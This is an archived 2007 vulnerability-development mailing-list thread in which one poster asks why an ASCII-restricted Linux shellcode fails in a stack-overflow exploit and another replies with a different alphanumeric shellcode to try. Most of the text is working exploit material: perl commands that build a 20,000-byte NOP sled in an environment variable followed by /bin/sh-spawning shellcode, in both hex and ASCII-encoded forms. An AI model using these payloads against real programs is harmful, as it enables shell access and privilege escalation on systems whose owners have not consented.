Vuln Dev
Re: Re: Linux restricted ASCII Shellcode Apr 19 2007 06:39PM
nonexistant nospam org (2 replies)
Re: Re: Linux restricted ASCII Shellcode Apr 23 2007 01:13PM
RaiSe (raise enye-sec org)
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Hi. Here you have 1 ascii shellcode more, try it:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print
"LLLLX3EX1EX1eX3eXjEX4EPh8eshXf5VJPheebiXf5JJPTYjYX4YPQTPUX3HX1HX1XX3XXZ
YJf1UVBj8X0EW432G"'`

It is very old, but you can test if it works.

- ---------------------------
RaiSe - eNYe Sec
http://www.enye-sec.org
- ---------------------------

On Thu, 19 Apr 2007, nonexistant (at) nospam (dot) org [email concealed] wrote:

> I'm exploiting the stack overflow inserting the shellcode in a environment variable:
>
> export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf
3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xf
f\xff\xff/bin/sh"'`
>
> And then overwriting de RET address to point somewhere in the NOP section of "SHELLCODE". Pretty simple.
> That works perfectly.
>
> But if I try with this environment variable:
>
> export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "LLLLZhmeqrX5meqrHTVPPWRPPaQVRSPGWDOfhAMfXf5ECfPDVUajcX0Dob0TodjdY0Lohfh
mNfXf1Dol0topjYY0Loq0toq0totjJX0Dou0tou0TovjFX0Dow0towjhXfRhnKshhBabivER
SvT29"'`
>
> This do not work. I have tryed with many different ASCII shellcodes all of them ripped from examples in C style.
> What I'm doing wrong?
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[ reply ]
Re: Linux restricted ASCII Shellcode Apr 21 2007 12:04AM
Deian Stefan (deianstefan gmail com)


 

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